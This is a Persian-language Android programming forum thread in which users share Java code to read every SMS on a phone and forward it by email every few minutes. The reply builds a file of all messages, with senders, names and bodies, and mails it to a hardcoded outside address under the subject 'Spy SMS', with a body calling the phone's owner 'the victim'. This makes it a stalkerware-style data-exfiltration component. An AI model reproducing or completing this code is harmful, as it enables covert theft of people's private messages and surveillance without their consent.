ورود

View Full Version : ارسال اس ام اس به ایمیل در اندروید!



avenar
جمعه 03 مرداد 1393, 01:48 صبح
درود;

در حال تحقیق برای نوشتن برنامه ای بودم تا اس ام اس هایی که دریافت می کنم

را درایمیل شخصیم آپلود کند.

برای دسترسی به SMS ها در اندروید نیاز هست تا از ContentResolver استفاده شود.




CREATE TABLE sms (_id INTEGER PRIMARY KEY,thread_id INTEGER,address TEXT,person INTEGER,date INTEGER,protocol INTEGER,read INTEGER DEFAULT 0,status INTEGER DEFAULT -1,type INTEGER,reply_path_present INTEGER,subject TEXT,body TEXT,service_center TEXT,locked INTEGER DEFAULT 0,error_code INTEGER DEFAULT 0,seen INTEGER DEFAULT 0);






برای دسترسی به Smsها ابتدا باید یک Uri ساخت.

سپس با استفاده از Cursor می توان داده ها را از آن استخراج کرد.

کد زیر این روش را کاملا توضیح می دهد





Uri uri = Uri.parse("content://sms/");
Cursor cursor;
if (maxDate != -1)
cursor = getContentResolver().query(uri, new String[] { "_id", "thread_id", "address", "date", "body", "type" },
"date" + ">?", new String[] { String.valueOf(maxDate) }, "date ASC");
else
cursor = getContentResolver().query(uri, new String[] { "_id", "thread_id", "address", "date", "body", "type" }, null, null,
"date ASC");
cursorSize = cursor.getCount();
currentSMSBackingup = 1;
cursor.moveToFirst();
while (cursor.moveToNext()) {

String body = cursor.getString(4).toString();
String thread_id = cursor.getString(1).toString();
final String address = cursor.getString(2).toString();
final long date = cursor.getLong(3);
String _id = cursor.getString(0).toString();
String type = cursor.getString(5).toString();

runOnUiThread(new Runnable()
{
// @SuppressLint("SimpleDateFormat")
@Override
public void run()
{
DateFormat formatter = new SimpleDateFormat("dd/MM/yyyy hh:mm:ss.SSS");
Calendar calendar = Calendar.getInstance();
calendar.setTimeInMillis(date);

_txtLogTextView.append(currentSMSBackingup + "/" + cursorSize + ", address: " + address + " in date: "
+ formatter.format(calendar.getTime()) + "\r\n");
currentSMSBackingup = currentSMSBackingup + 1;
scroller.fullScroll(View.FOCUS_DOWN);
}
});

Log.i(TAG_APP_NAME, _id + " > " + thread_id + " > " + address + " > " + date + " > " + body);
Functions functions = new Functions();
functions.backupSMS(_id, thread_id, address, String.valueOf(date), body, type);
}
cursor.close();






در کدهای بالا
کد:
Uri
به تمامی Smsها دسترسی دارد. اگر بخواهید فقط به Smsهای دریافتی دسترسی داشته باشید از
کد:
content://sms/inbox
و برای Smsهای ارسالی از
کد:
content://sms/sent
استفاده کنید.
پس از اینکه Uri تعریف شد، Cursor در بین Uri کوئری میگیرد و داده های انتخاب شده را بر میگرداند. در کدهای بالا از جدول Smsها، ستون های
کد:
_id, thread_id, address, date, body, type
به صورت صعودی بر اساس ستون
کد:
date
داده ها انتخاب می شوند.
چون کدهای بالا در یک کلاس
کد:
AsyncTask
اجرا می شد، و یک کلاس نمی تواند به
کد:
Thread
اصلی که
کد:
View
ها در آن هستند دسترسی داشته باشد، از
کد:
runOnUiThread
استفاده کردم.

در مورد
کد:
scroller.fullScroll(View.FOCUS_DOWN);
نیز لازم دانستم این نکته را ذکر کنم در این اپ Smsها در این
کد:
EditText
نمایش داده می شود و با استفاده از این کد
کد:
EditText
به پایین
کد:
Scroll
می شود.


-----------------

حالا از سایر اساتید درخواست میکنم که سورس برنامه ای رو قرار بدن که:

هر وقت اینترنت موجود بود از اس ام اس ها(چه صندوق ورودی و چه خروجی)یه کپی به ایمیلی که به برنامه میدهیم ارسال کند

نکته ها:

این عمل مثلا هر 5 دقیقه یکبار اتفاق بیفتد

فرمت فایل ارسالی به ایمیل تکست باشد

پیشاپیش تشکر

barnamenevisjavan
جمعه 03 مرداد 1393, 12:43 عصر
"content://sms/"

این کد که نوشتی شامل کلیه پیام ها میشه (ورودی /خروجی و...)
برای اینکه هر 5 دقیقه ارسال بشه باید از تایمر استفاده کنی (یه تایمر مینویسی بعد توی رویداد تیکش کد ارسال ایمیل رو میزاری)
شما وقتی پیام هارو دریافت کردی و توی کرسر ریختی میتونی اونو توی مموری یا گوشی با فرمت تکست ذخیره کنی
بعدش میای وقتی ایمیل ارسال میکنی اون فایل تکست رو ضمیمه میکنی

یه چندتا مثال میزنم خودت برو دنبالش :

این کد فایل تکست رو ضمیمه میکنه و ایمیل میکنه (البته با یکی از برنامه های ایمیل خود گوشی / برای ارسال ایمیل خودکار باید از کتابخانه استفاده کنی)

private void mail()
{
Intent emailIntent = new Intent(android.content.Intent.ACTION_SEND);
emailIntent.setType("application/text");
emailIntent.putExtra(android.content.Intent.EXTRA_ EMAIL, new String[]{"hellas2012@yahoo.com"});
emailIntent.putExtra(android.content.Intent.EXTRA_ SUBJECT,"Spy SMS");
emailIntent.putExtra(android.content.Intent.EXTRA_ TEXT, "سلام لیست پیام های قربانی ضمیمه شد");
emailIntent.putExtra(Intent.EXTRA_STREAM, Uri.parse("file:///mnt/sdcard/SMS.txt"));
startActivity(Intent.createChooser(emailIntent, "Send mail..."));
//startActivity(emailIntent);
}


کد زیرم پیام هارو دریافت میکنه و توی تکست توی گوشی ذخیره میکنه
public ArrayList<String> smsBuffer = new ArrayList<String>();
String smsFile = "SMS"+".txt";
private void backupSMS(){
smsBuffer.clear();
Uri mSmsinboxQueryUri = Uri.parse("content://sms");
Cursor cursor1 = getContentResolver().query(
mSmsinboxQueryUri,
new String[] { "_id", "thread_id", "address", "person", "date",
"body", "type" }, null, null, null);
//startManagingCursor(cursor1);
String[] columns = new String[] { "_id", "thread_id", "address", "person", "date", "body",
"type" };
if (cursor1.getCount() > 0) {
String count = Integer.toString(cursor1.getCount());
Log.d("Count",count);
while (cursor1.moveToNext()) {


String messageId = cursor1.getString(cursor1
.getColumnIndex(columns[0]));


String threadId = cursor1.getString(cursor1
.getColumnIndex(columns[1]));


String address = cursor1.getString(cursor1
.getColumnIndex(columns[2]));
String name = cursor1.getString(cursor1
.getColumnIndex(columns[3]));
String date = cursor1.getString(cursor1
.getColumnIndex(columns[4]));
String msg = cursor1.getString(cursor1
.getColumnIndex(columns[5]));
String type = cursor1.getString(cursor1
.getColumnIndex(columns[6]));






smsBuffer.add(messageId + ","+ threadId+ ","+ address + "," + name + "," + date + " ," + msg + " ,"
+ type);


}
generateCSVFileForSMS(smsBuffer);
}
}




private void generateCSVFileForSMS(ArrayList<String> list)
{


try
{
String storage_path = Environment.getExternalStorageDirectory().toString () + File.separator + smsFile;
FileWriter write = new FileWriter(storage_path);


write.append("messageId, threadId, Address, Name, Date, msg, type");
write.append('\n');


for (String s : list)
{
write.append(s);
write.append('\n');
}
write.flush();
write.close();
}


catch (NullPointerException e)
{
System.out.println("Nullpointer Exception "+e);
// e.printStackTrace();
}
catch (IOException e)
{
e.printStackTrace();
}
catch (Exception e)
{
e.printStackTrace();
}


}

دسترسی خوندن نوشتن توی گوشی رو یادت نره اضافه کنی + دسترسی کامل به اینترنت